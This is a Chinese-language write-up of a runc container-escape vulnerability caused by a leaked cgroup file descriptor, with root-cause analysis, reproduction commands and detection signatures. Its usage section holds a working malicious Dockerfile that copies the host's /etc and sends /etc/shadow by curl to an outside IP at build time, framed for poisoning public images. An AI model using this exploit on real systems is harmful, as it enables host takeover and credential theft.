公告:several container breakouts due to internally leaked fds
影响范围:runc >=v1.0.0-rc93,<=1.1.11
额外要求:linux内核版本大于5.6 (uname -r)
检查方式
runc
docker中的默认runtime是runc,它是基于OCI specification编写的一个容器底层运行时,可以手动替换为安全性更高、隔离性更强的gvisor(runc),也是基于OCI规范 可以无缝切换
作为底层工具,当runc出现问题会影响docker和k8s
原理
prepareOpenat2
函数会检查openat2
这个syscall能否被正常调用,若失败 进入到openFallback
,若成功 则用unix.Openat2
系统调用打开/sys/fs/cgroup
,这里的unix.Openat2
是有O_CLOEXEC
flag的
如果成功打开/sys/fs/cgroup
,必然有一个fd指向该文件夹,但prepareOpenat2
函数执行完之后并没有把这个fd正常关闭 也没有返回 导致泄露
利用思路:runc创建子进程时 && exec/run即将执行的二进制文件还没关闭之前,将process.cwd设置为/proc/self/fd/7
,此时这个二进制进程的/proc/[pid]/cwd
就会指向容器外的/sys/fs/cgroup
,之后的子进程就可以利用该fd的/proc/self/fd/[fdnum]
来访问宿主机的文件系统
至于最初为什么要检查openat2
,是因为openat(2)
可以避免在容器的mount命名空间中挂载宿主机文件系统的目录时存在逃逸的风险,但最终又引入了新的问题
复现
可以不使用完整docker 直接复现runc漏洞
# 将基本镜像导出rootfs
docker run --name helper-ctr alpine
docker export helper-ctr --output alpine.tar
mkdir rootfs
tar xf alpine.tar -C rootfs
# 使用runc命令创建默认配置文件
runc spec
# 修改运行时指定的cwd
sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json
grep cwd config.json
# exploit
sudo runc --log ./log.json run demo
注意到我们把cwd指定为/proc/self/fd/7
,这个数字和golang运行时有关
0, 1, 2分别是标准输入 标准输出和标准错误,3是日志文件,golang程序刚启动时会创建一个epoll文件描述符4和一个管道(5, 6),接着初始化cgroup管理模块时打开/sys/fs/cgroup
目录7
但在使用docker run创建的容器中 /sys/fs/cgroup
的文件描述符是8,但有时也是7(详细原因暂略 看不懂)
另外一个细节是--log
,如果不指定log参数 /sys/fs/cgroup
目录的文件描述符就会是3,无法利用(原因略 看不懂)
利用
利用过程中的几条特征
- 在容器中产生cwd 形如
/proc/self/fd/[fd]
的进程 - 在容器中产生目标目录为
/proc/self/fd/[fd]
的symlink(2)
或symlinkat(2)
的系统调用 - 在容器中产生open/openat/openat2系统调用,且文件名有
/proc/\d+/cwd/.*
的正则表达式特征
利用场景(主要针对云服务):
- 制作恶意镜像 投毒公共库
- CI/CD平台控制work dir 导致漏洞
FROM ubuntu:latest
WORKDIR /proc/self/fd/7
RUN cp -r ../../../../../etc /hostetc
WORKDIR /
RUN apt update && apt-get install -y --no-install-recommends curl ca-certificates
RUN curl -XPOST --data-binary @/hostetc/shadow http://165.154.148.13:10399/
以上恶意镜像 在build阶段就可以把敏感文件带出 无需实际运行
参考文章:https://github.com/NitroCao/CVE-2024-21626